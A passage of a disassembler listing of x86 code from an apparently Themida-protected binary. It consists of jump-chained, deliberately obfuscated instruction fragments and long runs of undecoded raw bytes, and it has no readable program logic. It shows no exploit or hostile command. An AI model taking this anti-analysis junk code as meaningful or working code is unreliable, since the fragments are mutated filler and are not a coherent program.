0FF6FFB98h xor esi, ecx jmp loc_512AB7 ; --------------------------------------------------------------------------- loc_5168AB: ; CODE XREF: Themida_:0050F9F2j mov ebx, [esp] jmp loc_51DF3D ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 4AEDh, 56243489h, 0BD55E689h, 4, 356BC681h dd 0EE0105E4h, 356BEE81h, 0E95D05E4h, 81FEh, 8102C283h dd 4ECh, 5878E900h, 0F581FFFFh, 49F1F6B7h, 0E95DEB29h dd 9366h, 104C483h, 73DCE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516902: ; CODE XREF: Themida_:00519DDFj mov ecx, 362F5A04h sub ecx, 4E973D67h push ebx mov ebx, 38273BCAh sub ebx, 1 neg ebx inc ebx inc ebx not ebx jmp loc_50CE7F ; --------------------------------------------------------------------------- dd 0B436C381h, 5D53560Dh, 8BEF295Bh, 0C483242Ch, 0DF71E904h dd 1489FFFFh, 0D9BB5324h, 0BA1A2A74h, 0BDDAFB0h, 525BDA01h dd 0F7243C87h, 0A659E9D7h, 3C8BFFFFh, 4C48124h, 81000000h dd 4C7h, 2B95100h, 81000000h, 296C99C7h, 0B6B95176h, 0E97A272Dh dd 46FDh, 0F91B3BBFh, 5FFB015Eh, 0FF9324E9h db 0FFh ; --------------------------------------------------------------------------- loc_516989: ; CODE XREF: Themida_:0051A630j xor [esp], ecx xor ecx, [esp] jmp loc_518A03 ; --------------------------------------------------------------------------- dd 4EB81h, 1C870000h, 3C895C24h, 24048124h, 70FA2AF7h dd 83240C8Bh, 0BF5704C4h, 70FA2AF7h, 0E95FF929h, 93A1h dd 4C5835Ch, 8B242C87h, 1AE92424h, 68FFFF4Ch, 3BA1h, 68240C89h dd 4CDEh, 81242C89h, 4ECh, 241C8900h, 0E161A9BBh, 0DF895718h dd 5B5FFD89h, 36E9E989h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5169F7: ; CODE XREF: Themida_:00515653j mov [esp], edx jmp loc_510EFF ; --------------------------------------------------------------------------- db 68h dd 53751C4Dh, 0E924048Bh, 0FFFFB3B1h, 0E828D3B5h, 16EFE9h dd 24343100h, 0E9243433h, 0FFFF574Ah ; --------------------------------------------------------------------------- loc_516A20: ; CODE XREF: Themida_:0051E774j mov ebx, 2D445341h not ebx jmp loc_50BD53 ; --------------------------------------------------------------------------- dd 1805EF81h, 315A0471h, 99A9E9F8h, 0E4BE0000h, 297C1605h dd 0DA055EF0h, 5215CE68h, 8C1FC8BAh, 0FFC2815Bh, 0F7FFFFFFh dd 6C24E9D2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_516A5A: ; CODE XREF: Themida_:00516638j mov edi, 4 add ebx, 31773BA4h sub ebx, 126C419Bh sub ebx, edi add ebx, 126C419Bh sub ebx, 31773BA4h pop edi push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_50F759 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0C188E1B0h, 8324048Bh, 536604C4h, 0F607B050h, 0E99AE9D8h dd 2C87FFFFh, 3C335C24h, 243C3124h, 8B243C33h, 88642424h dd 0B655E902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516ABA: ; CODE XREF: Themida_:00510DAAj push dword ptr [esp] push dword ptr [esp] jmp loc_50BE86 ; --------------------------------------------------------------------------- loc_516AC5: ; CODE XREF: Themida_:00520D8Ej jmp loc_51EB35 ; --------------------------------------------------------------------------- dw 0E189h dd 4C181h, 0E9830000h, 4E70E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_516ADA: ; CODE XREF: Themida_:0050DEE7j add ecx, 4 push ebp mov ebp, 22D55CB4h sub ebp, 4756C1Ch sub ebp, 1 sub ebp, 1E5810A3h sub ebp, 9E2543Eh push eax mov eax, 1DEE6025h shl eax, 6 shl eax, 8 and eax, 7337425h xor eax, 55263B5Dh sub eax, 0FFFFFFFFh sub eax, 5F01EFACh xor ebp, eax pop eax jmp loc_512336 ; --------------------------------------------------------------------------- db 89h, 0DFh, 5Bh dd 5005EFC1h, 23295AB8h, 38260516h, 0F7407E37h, 821B2DD8h dd 0C731299Fh, 0FFB3C9E9h, 3869BFFFh, 0FB010055h, 83243C8Bh dd 0EB2904C4h, 3869EB81h, 24E90055h, 0B8FFFF7Ah, 25BE1738h dd 0FF4FF2E9h, 578BBDFFh, 0F5815742h, 24A92A9Ah, 0C14DDDF7h dd 0ED8106EDh, 0A412EAC6h, 585DEB01h, 5EF4CB81h, 0D3F70878h dd 0FFF679E9h, 241C87FFh, 0DA2FE95Ch, 0BD66FFFFh, 896630CFh dd 0E95D66E9h, 0FFFFC81Ch, 0E9243C29h, 0FFFF9777h, 8B2434FFh dd 0C4832404h, 62F56804h, 0C890000h, 0E9E18924h, 0FFFFBAA1h dd 4C481h, 0B6680000h, 89000065h, 8BD242Ch, 0C14AB20Fh dd 0EDC106EDh, 0E9505304h, 62DFh, 6AFDE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_516BEA: ; CODE XREF: Themida_:0051E932j or edi, 386C387Ah or edi, 64CE5A92h dec edi neg edi sub edi, 3971057Ch xor esi, edi pop edi sub eax, 4309338Ah add eax, esi jmp loc_51AC45 ; --------------------------------------------------------------------------- loc_516C0E: ; CODE XREF: Themida_:00510414j add esp, 4 push esi mov esi, 5B491A0Dh xor esi, 0EE87ABDh and esi, 1BCB67FEh add esi, 14F83081h not esi inc esi shr esi, 4 push ecx jmp loc_513E3C ; --------------------------------------------------------------------------- dd 0C5815E5Ah, 4, 0FFCF7FE9h, 0D7E956FFh db 51h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516C4B: ; CODE XREF: Themida_:0050D94Bj add dword ptr [esp+4], 3B9C355Ah jmp loc_5109D6 ; --------------------------------------------------------------------------- dd 4849C381h, 0BE56413Bh, 19DC272Fh, 2442CE81h, 0E6813598h dd 579D00EAh, 5530C681h, 0F33126BBh, 0FFB969E9h, 0CEF81FFh dd 0E908A212h, 7441h, 81243C8Bh, 4C4h, 3DBA6800h, 1C890000h dd 4BB24h, 0D4E90000h, 5CFFFF4Eh, 4EC81h, 18E90000h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_516CAF: ; CODE XREF: Themida_:0051F572j push ebp mov ebp, 69520961h neg ebp add ebp, 77A8240Eh neg ebp jmp loc_512814 ; --------------------------------------------------------------------------- loc_516CC4: ; CODE XREF: Themida_:00513021j mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] jmp loc_51100A ; --------------------------------------------------------------------------- loc_516CD7: ; CODE XREF: Themida_:00514D0Bj add edi, edx jmp loc_520E34 ; --------------------------------------------------------------------------- loc_516CDE: ; CODE XREF: Themida_:00519C31j push ebx push 34DDh mov [esp], edx mov edx, 170C5B55h xor [esp+4], edx push dword ptr [esp] pop edx add esp, 4 jmp loc_51D4F0 ; --------------------------------------------------------------------------- db 81h dd 42404h, 52580000h, 4BAh, 0C5FE900h, 0D5010000h, 0FFFF1FE9h dd 0CEE81FFh, 12A5F27h, 0CC681EEh, 502A5F27h, 0EE76AFB8h dd 2E0C176h, 2E8C140h, 28ACE9h db 0 ; --------------------------------------------------------------------------- loc_516D39: ; CODE XREF: Themida_:00518E32j shr ecx, 8 add ecx, 23A124BCh inc ecx sub esp, 4 mov [esp], ebp mov ebp, 0DC018040h add ecx, ebp mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub eax, 392D1B63h add eax, ecx push ebx mov ebx, 6E265102h sub ebx, 56785CD9h dec ebx not ebx inc ebx inc ebx add ebx, 50DB0F8Ah jmp loc_513E9E ; --------------------------------------------------------------------------- dd 12Dh, 0D1BE5600h, 12DD13Dh, 24348BF0h, 4C481h, 18350000h dd 0F7C3EB86h, 2E0C1D0h, 0D17C8205h, 57550539h, 0EE81DE9Bh dd 60B4187Eh, 0C681C629h, 60B4187Eh, 0FFBA64E9h, 816EB1FFh dd 4ECh, 24148900h, 0FFF9F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_516DD5: ; CODE XREF: Themida_:0050F407j push 293Fh mov [esp], ebx mov ebx, 0FFFFh and eax, ebx push dword ptr [esp] mov ebx, [esp] push eax push esp jmp loc_51A93D ; --------------------------------------------------------------------------- db 81h, 0C2h, 8Ah dd 5E737C15h, 0F281D2F7h, 3671518Ch, 0E95AD501h, 0FFFFBD21h ; --------------------------------------------------------------------------- loc_516E08: ; CODE XREF: Themida_:0050BD61j xor ebx, 0EF733FDBh mov eax, ebx pop ebx jmp loc_514222 ; --------------------------------------------------------------------------- dw 0F289h dd 81A9E9h db 0 ; --------------------------------------------------------------------------- loc_516E1D: ; CODE XREF: Themida_:0051D6B6j sub esp, 4 mov [esp], ecx mov ecx, 509D77C3h sub edi, ecx pop ecx jmp loc_51DF45 ; --------------------------------------------------------------------------- db 5Fh dd 71BBCA81h, 0CA8144A8h, 3A694B8Ch, 4F28142h, 1FFE9FCh dd 28685AD1h, 89000012h, 0B5BA2414h, 5629E038h, 0BEh, 89D62900h dd 8B3EE9F2h, 0C6810000h, 0A065BA4h, 4053C681h, 0EE014B40h dd 4053EE81h, 0EE814B40h, 0A065BA4h, 5207E9h, 57E38900h dd 581B6852h, 815A07FAh, 2B7A2ACAh, 4EC816Eh, 89000000h dd 0BBB241Ch, 817F7619h, 670FA8E3h, 7784E915h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516EAE: ; CODE XREF: Themida_:0050BCA4j mov ecx, [edx] mov edx, [esp] add esp, 4 mov eax, [esp] add esp, 4 push eax mov eax, 713C2BE5h sub esp, 4 mov [esp], edx push eax mov eax, 1D04642Dh dec eax push edi jmp loc_50D233 ; --------------------------------------------------------------------------- dw 0CE68h dd 8900002Bh, 74FF241Ch, 8E90424h, 5AFFFF7Ch, 1C8BFD88h dd 0F483E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516EFA: ; CODE XREF: Themida_:0051E8D6j pop eax add ebx, 4A1818E8h add ebx, eax sub ebx, 4A1818E8h pop eax xchg ebx, [esp] pop esp jmp loc_51E832 ; --------------------------------------------------------------------------- loc_516F13: ; CODE XREF: Themida_:0050C8C7j mov ch, 2Dh jmp loc_5131D2 ; --------------------------------------------------------------------------- loc_516F1A: ; CODE XREF: Themida_:0050E320j push esi jmp loc_50E1D4 ; --------------------------------------------------------------------------- dd 82C680h, 48B5AF7h, 4C48324h, 1C8BF830h, 4C48324h, 51E368h dd 24148900h, 0E2C018B2h, 4E79E907h, 0C87FFFFh, 240C8B24h dd 4C481h, 0E9D10000h, 0E1C1D9F7h, 0BD11E908h, 0D731FFFFh dd 3EBE565Ah, 0D16CB115h, 35EE81EEh, 0E9574D4Eh, 549Dh ; --------------------------------------------------------------------------- loc_516F74: ; CODE XREF: Themida_:0050EBE4j push ebx pop esi push 7CB7h mov [esp], esi push 4080h mov [esp], ebx mov ebx, 4BD12DF9h sub [esp+4], ebx pop ebx pop edi jmp loc_50C1E8 ; --------------------------------------------------------------------------- dw 0BEBFh dd 0E9235276h, 0FFFF6A2Ch ; --------------------------------------------------------------------------- loc_516FA0: ; CODE XREF: Themida_:0051CA25j pop edx xor esi, 60A74879h add ebp, esi jmp loc_51D9CD ; --------------------------------------------------------------------------- loc_516FAE: ; CODE XREF: Themida_:0051D4B2j add ebx, 2 xchg ebx, [esp] pop esp push 17F5h mov [esp], edx mov dl, 0EDh jmp loc_52021E ; --------------------------------------------------------------------------- dd 65F18149h, 81018854h, 2B7533C5h, 0F9C58134h, 12BCF10h dd 0F9ED81CDh, 0E92BCF10h, 560Fh ; --------------------------------------------------------------------------- loc_516FE4: ; CODE XREF: Themida_:00520D52j add edx, 6A7961CAh add edi, 4828553Bh jmp loc_51B549 ; --------------------------------------------------------------------------- dd offset dword_529868 align 2 dw 0C89h dd 0FE5DB124h, 0A1C980C1h, 0E980C1FEh, 0C0F180DFh, 4F1668h dd 240C8900h, 0E9F3B353h, 0FFFF7CE5h ; --------------------------------------------------------------------------- loc_51701C: ; CODE XREF: Themida_:00511C5Fj sub [esp+8], esi jmp loc_51B0A9 ; --------------------------------------------------------------------------- db 80h, 0C6h, 62h dd 8B5AF000h, 0C483240Ch, 4EC8304h, 0B7241C89h, 176866D6h dd 0D37EE917h, 0C781FFFFh, 39493405h, 0FFE2ABE9h, 0E94A5EFFh dd 386h, 592BDBDh, 0BCC281B6h, 12FB876h, 7E5AE9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_517066: ; CODE XREF: Themida_:005204AFj xchg edi, [esp] mov esp, [esp] mov [esp], cx jmp loc_51EC67 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd offset dword_450050+0C318h dd 0B391E900h, 6851FFFFh, 11211E2Bh, 0EC835059h, 242C8904h dd 0DD5D4EBDh, 33AB82Bh, 0E80142F8h, 0E9C1015Dh, 0FFFF4C8Fh ; --------------------------------------------------------------------------- loc_5170A4: ; CODE XREF: Themida_:0051302Dj pop edi add ebp, 0FFFFFFFFh not ebp not ebp push esi mov esi, 2AF45FC9h shl esi, 1 sub esi, 813EFEC5h jmp loc_50F3E3 ; --------------------------------------------------------------------------- dw 0F701h dd offset loc_5047E9 dd 0D9C18100h, 16BA4FDh, 2324E9C8h, 74FF0000h, 0E95F0424h dd 7AA4h, 0E2BA5253h, 0E913C961h, 1E9Dh, 4333BF57h, 0E9472E00h dd 0FFFF4F21h, 51F1EA81h, 38E9729Ch, 57FFFF80h, 7A2931BFh dd 0FE685177h, 8900005Ch, 84BB241Ch, 4328E057h, 753E9h db 0 ; --------------------------------------------------------------------------- loc_51711D: ; CODE XREF: Themida_:0051AA06j add [esp+4], ebx jmp loc_517E17 ; --------------------------------------------------------------------------- dw 0BF57h dd 279D7913h, 4C95EF81h, 0FB29BC24h, 83243C8Bh, 0C32904C4h dd 2C7EC381h, 0E9576B79h, 0FFFFF834h, 4EC81h, 14890000h dd 0DFE5E924h, 668FFFFh, 89000059h, 5B54241Ch, 558768h dd 0BE84E900h, 158FFFFh, 0FF04247Ch, 3C8B2434h, 8729E924h dd 0F5810000h, 79BADF5Ah, 0A7BE9h, 0D8015A00h, 4EC815Bh dd 89000000h, 2BA2414h, 2D000000h, 514F5904h, 405D001h dd 0FF514F59h, 148B2434h, 5A545224h, 4C281h, 0C2810000h dd 4, 5C241487h, 0FFB20FE9h, 26855FFh, 5D2D9036h, 1ED81h dd 0ED810000h, 2D9035FDh, 4EC81h, 2C890000h, 815D5F24h dd 6A5C2DC1h, 81F92940h, 6A5C2DE9h, 6402E940h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5171F2: ; CODE XREF: Themida_:0050FC01j push eax mov eax, 1 jmp loc_511421 ; --------------------------------------------------------------------------- loc_5171FD: ; CODE XREF: Themida_:0051FCBAj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_51C783 ; --------------------------------------------------------------------------- aPYLXhn db 'Py;L#!Xh]',0 align 2 dw 44E9h dd 89FFFF72h, 0D1E959CBh db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51722B: ; CODE XREF: Themida_:00520CF7j mov [esp], ebp push esp pop ebp add ebp, 4 push eax mov eax, 4 jmp loc_50E7E8 ; --------------------------------------------------------------------------- db 57h, 81h, 0ECh dd 4, 47A7E9h db 0 ; --------------------------------------------------------------------------- loc_51724D: ; CODE XREF: Themida_:0050F3DEj push dword ptr [esp] mov eax, [esp] jmp loc_51189E ; --------------------------------------------------------------------------- loc_517258: ; CODE XREF: Themida_:00516172j shr edi, 5 push 7168h jmp loc_50CB31 ; --------------------------------------------------------------------------- loc_517265: ; CODE XREF: Themida_:0051BEC8j push esi mov esi, 56724CB4h xor eax, esi pop esi push 62F7h mov [esp], esi push ecx push edi mov edi, 4D7B71E0h or edi, 4D1A2DEFh jmp loc_51C0DF ; --------------------------------------------------------------------------- dd 3784EF81h, 0EF817C04h, 7C2E29DAh, 44E9F701h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51729B: ; CODE XREF: Themida_:00512F18j and edi, 7FAB384Fh add edi, 7D7A4855h add edi, 0F396D459h add ebp, 2107944h sub ebp, edi jmp loc_50EF75 ; --------------------------------------------------------------------------- loc_5172BA: ; CODE XREF: Themida_:0050F4BAj mov [esp], eax push ecx mov ecx, 62243C51h xor ecx, 6C0231F4h add ecx, 6D3320CBh push ecx pop eax pop ecx jmp loc_50D8AE ; --------------------------------------------------------------------------- db 68h dd 6317h, 24048F54h, 0FFC4A5E9h, 7C51BAFFh, 0D7293BE7h dd 7B60E9h db 0 ; --------------------------------------------------------------------------- loc_5172F1: ; CODE XREF: Themida_:00510585j mov ecx, esp push edi mov edi, 638F3628h shr edi, 3 or edi, 1122655Bh jmp loc_51205E ; --------------------------------------------------------------------------- db 5Eh dd 0CD14E959h, 2C89FFFFh, 38426824h, 2C8B7D24h, 4C48124h dd 0F7000000h, 0CD8145D5h, 6BEA6630h, 9A4AC581h, 0EF89B581h dd 2AC7815Dh, 0E9429E63h, 0FFFF535Fh ; --------------------------------------------------------------------------- loc_51733C: ; CODE XREF: Themida_:00512F20j pop esp mov [esp], ebx push ebp mov ebp, 6D2C2127h mov ebx, ebp pop ebp sub ebx, 52CA0BAAh shl ebx, 5 not ebx xor ebx, 948A1AF8h xor ecx, ebx mov ebx, [esp] jmp loc_50BB91 ; --------------------------------------------------------------------------- loc_517364: ; CODE XREF: Themida_:0050B9A5j pop ecx push 5E5Dh mov [esp], ebx sub esp, 4 mov [esp], eax mov ah, 71h push bx push edx mov dl, ah mov bh, dl jmp loc_5178D1 ; --------------------------------------------------------------------------- dd 81DEF758h, 3BE44BF6h, 5EF389CEh, 457ABD55h, 0EB215192h dd 76C5E95Dh, 0DE310000h, 0FF56F331h, 315E240Ch, 31DE31F3h dd 0B1F381F3h, 0C15DC56Bh, 0B85003E3h, 2E712D0Fh, 0C5CFF72Dh dd 0E9C331A7h, 5C2Ch ; --------------------------------------------------------------------------- loc_5173C8: ; CODE XREF: Themida_:0050D29Cj xor ebx, [esp] pop esp push 4640h mov [esp], ebp push esp jmp loc_50C485 ; --------------------------------------------------------------------------- dw 0F281h dd 48865DCh, 0FF646BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5173E5: ; CODE XREF: Themida_:0050F3E9j add edi, 4 jmp loc_513449 ; --------------------------------------------------------------------------- dd 24048F54h, 4240481h, 8B000000h, 2FE92414h, 89FFFFE8h dd 0E2892414h, 4C281h, 0C2810000h, 4, 5C241487h, 0E9240C33h dd 0FFFFDDE1h, 4C181h, 0C870000h, 0EC815C24h, 4, 0E9240C89h dd 1285h, 5F2434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_510C1A ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0FFFC81E9h, 46DFBFFFh, 0FE313A55h, 0CAB8505Fh, 10D4C4Fh dd 0F70158C7h, 4FCAEF81h, 34FF0D4Ch, 0FEE95E24h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517477: ; CODE XREF: Themida_:00520C65j mov ecx, 0CEDF9CCBh jmp loc_520E24 ; --------------------------------------------------------------------------- loc_517481: ; CODE XREF: Themida_:0051BA43j xchg edx, [esp] pop esp mov [esp], eax push 5EAh mov [esp], edi mov edi, 60EC71F1h neg edi jmp loc_51FAD6 ; --------------------------------------------------------------------------- dd 57240489h, 0A9366B68h, 0F7815F65h, 73F31152h, 0FFDD3AE9h dd 1E7368FFh, 815D451Eh, 0CA217DE5h, 30B95144h, 553C356Ah dd 2625BF57h, 0FD89773Bh, 920DE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5174D2: ; CODE XREF: Themida_:0051F7F3j and eax, 50387D19h jmp loc_517F92 ; --------------------------------------------------------------------------- loc_5174DC: ; CODE XREF: Themida_:0050FB48j pop esp mov [esp], eax jmp loc_520D28 ; --------------------------------------------------------------------------- aIaYsz7 db '(Y7',0 align 10h dd 592434FFh, 0FF8AF5E9h, 2474FFFFh, 2434FF04h, 0FF8531E9h db 0FFh ; --------------------------------------------------------------------------- loc_517505: ; CODE XREF: Themida_:0050B652j pop eax mov edx, edi pop edi and eax, edx jmp loc_513887 ; --------------------------------------------------------------------------- loc_517510: ; CODE XREF: Themida_:0051ADA2j mov [esp], eax jmp loc_514490 ; --------------------------------------------------------------------------- loc_517518: ; CODE XREF: Themida_:00518B15j mov ebx, 3F2F703Eh jmp loc_5109AE ; --------------------------------------------------------------------------- dw 0E868h dd 0E920BB74h, 33Eh, 8101C583h, 673474CDh, 1C5817Dh, 55000000h dd 59E95D57h, 0BFFFFF55h, 6125564Bh, 2BA1C781h, 0EFC11EBAh dd 9ECF8102h, 0E9230F14h, 0FFFFD64Ch ; --------------------------------------------------------------------------- loc_51755C: ; CODE XREF: Themida_:00514DC7j pop edx xchg ecx, [esp] jmp loc_511154 ; --------------------------------------------------------------------------- loc_517565: ; CODE XREF: Themida_:00514433j jmp loc_50B5E5 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 51241C89h, 0CB88C188h, 0E1895159h, 4C181h, 0BB530000h dd 4, 875BD929h, 248B240Ch, 24048924h, 188D888h, 241C8B58h dd 0FFC7CDE9h, 8DC581FFh, 81341A0Eh, 66753BEDh, 0E9FD0172h dd 6D1h, 5C240487h, 0C7BB5352h, 0C152A93Ch, 0EC8108EBh dd 4, 0E9241489h, 0FFFFD3A2h, 295FFD29h, 34FF5DE8h, 0EC835924h dd 240C8904h, 0C181E189h, 4, 0E904C183h, 0FFFFEA70h, 11B5805h dd 0C5895D31h, 582434FFh, 0C104C483h, 0EDD106EDh, 3ADE9h dd 24248B00h, 711EE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_517612: ; CODE XREF: Themida_:0051AB37j mov edi, 7F15080Ch jmp loc_520F39 ; --------------------------------------------------------------------------- dd 0EC81EFD1h, 4, 0E9242C89h, 0FFFF724Ah ; --------------------------------------------------------------------------- loc_51762C: ; CODE XREF: Themida_:00520A20j or eax, eax jz loc_51E179 push edi jmp loc_50CDD3 ; --------------------------------------------------------------------------- loc_51763A: ; CODE XREF: Themida_:00513B21j add edx, 2EB8773Dh jmp loc_51DE5E ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5E04h, 0D3665C24h, 0E99C242Ch, 0FFFF3F8Dh, 89243C89h dd 4EC81E7h, 89000000h, 0D6B9240Ch, 811AF871h, 437B44E1h dd 9197E96Bh, 0FABD0000h, 0E9631D09h, 0FFFFFAFAh, 4BDh dd 4C1AE900h, 0D9F6FFFFh, 805DC180h, 0D1F601E9h, 0E9C1E180h dd 3536h, 271068h, 242C8900h, 7EA3E9h, 0C0E95C00h, 0BAFFFF60h dd 4, 2241ED81h, 0D5011543h, 2241C581h, 34FF1543h, 24148B24h dd 8304C483h, 2C8904ECh, 0E95D5424h, 0FFFFF136h ; --------------------------------------------------------------------------- loc_5176D8: ; CODE XREF: Themida_:00512D8Cj inc esi neg esi add esi, 98887AFAh jmp loc_51829E ; --------------------------------------------------------------------------- loc_5176E6: ; CODE XREF: Themida_:0051F17Ej add esp, 4 jmp loc_51B096 ; --------------------------------------------------------------------------- db 0F7h, 0D5h, 83h dd 9D68FFC5h, 89000056h, 7AE9242Ch, 5AFFFFC5h, 0C107E3C1h dd 0EBD104E3h, 68h, 241C2900h, 8E3C15Bh, 0FF8860E9h db 0FFh ; --------------------------------------------------------------------------- loc_51771D: ; CODE XREF: Themida_:00516800j push edx push ebx mov ebx, 5B63093Bh add ebx, 25F06C7Eh sub ebx, 771B0C1Eh xor ebx, 1F513394h mov edx, ebx pop ebx jmp loc_5134BF ; --------------------------------------------------------------------------- dw 0C483h dd 240C3304h, 0E9240C31h, 8048h, 0FF2434FFh, 835B2434h dd 0EC8304C4h, 2883E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51775E: ; CODE XREF: Themida_:005163A1j push dword ptr [esp] pop eax sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_51DFA9 ; --------------------------------------------------------------------------- dd 3C8BFD01h, 9206E924h, 0E689FFFFh, 4C681h, 0EE830000h dd 24348704h, 243C895Ch, 42474FFh, 24048F5Fh, 8ABF575Ch dd 5071AD07h, 4831FEB8h, 0C1D8F730h, 6807E8h, 29000000h dd 0C1582404h, 685204E8h, 4266h, 68240489h, 69397C92h dd 76F8E958h, 0C15C0000h, 0CB8105EBh, 2D03278Ah, 2EABE9h dd 2434FF00h, 582434FFh, 4FC9E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5177F6: ; CODE XREF: Themida_:0050D98Dj not eax xor eax, 40C33CD3h push ecx mov ecx, 0DC1C85E7h xor eax, ecx pop ecx jmp loc_511999 ; --------------------------------------------------------------------------- loc_51780B: ; CODE XREF: Themida_:0051EA93j mov edi, 5A6C6D6Dh xor edi, 67C93602h and edi, 40A82A62h neg edi add edi, 7C376B69h mov ecx, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_50CF98 ; --------------------------------------------------------------------------- dw 6668h dd 89000066h, 0DDBB241Ch, 0E94DEE34h, 0FFFF6635h, 2C7814Fh dd 89914D7Ch, 0F3295FFEh, 52CB015Eh, 8D61B4BAh, 5AD30175h dd 0E92434FFh, 1F8Dh ; --------------------------------------------------------------------------- loc_517864: ; CODE XREF: Themida_:00511D13j push esp jmp loc_511C3C ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFF4E74h, 0EBA3EB81h, 0D989BA3Eh, 83241C8Bh, 0B85004C4h dd 0A911F725h, 0E958C101h, 7CCh ; --------------------------------------------------------------------------- loc_51788C: ; CODE XREF: Themida_:0050C1F5j mov [esp], edi pop eax push dword ptr [esp] push dword ptr [esp] pop edi push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5158F0 ; --------------------------------------------------------------------------- loc_5178AB: ; CODE XREF: Themida_:005131DDj push edx mov dh, 7Bh sub ch, 0E9h add ch, dh add ch, 0E9h mov edx, [esp] push edi mov edi, esp push ecx mov ecx, 4 jmp loc_51D142 ; --------------------------------------------------------------------------- db 29h dd 240C8BC8h, 0FFBE7FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5178D1: ; CODE XREF: Themida_:0051737Fj pop edx jmp loc_511067 ; --------------------------------------------------------------------------- loc_5178D7: ; CODE XREF: Themida_:00514E82j or edx, 7BC02C01h neg edx jmp loc_513D01 ; --------------------------------------------------------------------------- loc_5178E4: ; CODE XREF: Themida_:0051E50Dj xor eax, ebx pop ebx mov edx, eax jmp loc_50DA00 ; --------------------------------------------------------------------------- loc_5178EE: ; CODE XREF: Themida_:0051159Ej add eax, ebp jmp loc_519EB8 ; --------------------------------------------------------------------------- db 1, 0DFh, 5Bh dd 9305E952h, 0DF89FFFFh, 0FF8202E9h, 468FFh, 815A0000h dd 4ECh, 24148900h, 83242C8Bh, 2D5A04C4h, 6D065499h, 0BF57E801h dd 6D065499h, 5D5FF801h, 1D1668h, 242C8900h, 2B850h, 0C5890000h dd 0FFE80158h, 815D2434h, 4C4h, 24048700h, 6624248Bh, 0E99CC885h dd 0FFFF3C8Dh ; --------------------------------------------------------------------------- loc_517958: ; CODE XREF: Themida_:0050E19Bj mov esi, 415D48E1h and esi, 12CA1095h add esi, 0B73200Bh shl esi, 2 jmp loc_520BD6 ; --------------------------------------------------------------------------- db 1, 0D0h, 0FFh dd 148B2434h, 4C48324h, 81E18951h, 4C1h, 4C18100h, 0E9000000h dd 0FFFF9891h, 13B9F381h, 0DD3154E6h, 0DBCD815Bh, 0E91C512Ch dd 0FFFFD5A6h, 1C8BDD88h, 4C48324h, 88EA8852h, 0DB5CE9D7h dd 8952FFFFh, 4C281E2h, 81000000h, 4EAh, 24148700h, 0E924248Bh dd 5DACh ; --------------------------------------------------------------------------- loc_5179D0: ; CODE XREF: Themida_:00513688j xor [esp], edi jmp loc_5150E5 ; --------------------------------------------------------------------------- dd 0F2DC801h, 8B687909h, 0C481240Ch, 4, 9B168h, 24048900h dd 42474FFh, 24048F58h, 4CB2685Ch, 34890000h, 4079BE24h dd 8DE914D2h, 81000068h, 0F37CCCC2h, 81DA0112h, 0F37CCCEAh dd 51535B12h, 8D6C11B9h, 76A7E93Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517A26: ; CODE XREF: Themida_:00518239j add edi, 4 jmp loc_51D3B9 ; --------------------------------------------------------------------------- db 0ACh, 53h, 0B7h dd 80C7FE64h, 0DFF6C4CFh, 56C780h, 50515BF8h, 0C9E98AB4h db 0A6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517A4B: ; CODE XREF: Themida_:0051A12Cj add eax, edi add eax, 4A6B2D1Eh pop edi push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_51ECE6 ; --------------------------------------------------------------------------- db 53h, 0B7h, 0F0h dd 0E972C780h, 64Ah, 0EF8852B5h, 81240C8Bh, 4C4h, 2EFC000h dd 0FF5F11E9h, 240C87FFh, 240CFE5Ch, 3B57E99Ch, 0C89FFFFh dd 72336824h, 24890000h, 24048324h, 89575904h, 4C781E7h dd 83000000h, 3C8704EFh, 0E4E95C24h, 80FFFFE0h, 0BEE9BAEAh db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_517ABB: ; CODE XREF: Themida_:00511C95j pop ebp sub esp, 4 mov [esp], ebp add dword ptr [esp], 7D5D7D5Dh mov ecx, [esp] add esp, 4 sub ecx, 7D5D7D5Dh mov ebp, [esp] push edx mov edx, esp add edx, 4 push ebp mov ebp, 4 add edx, ebp pop ebp jmp loc_516342 ; --------------------------------------------------------------------------- loc_517AF2: ; 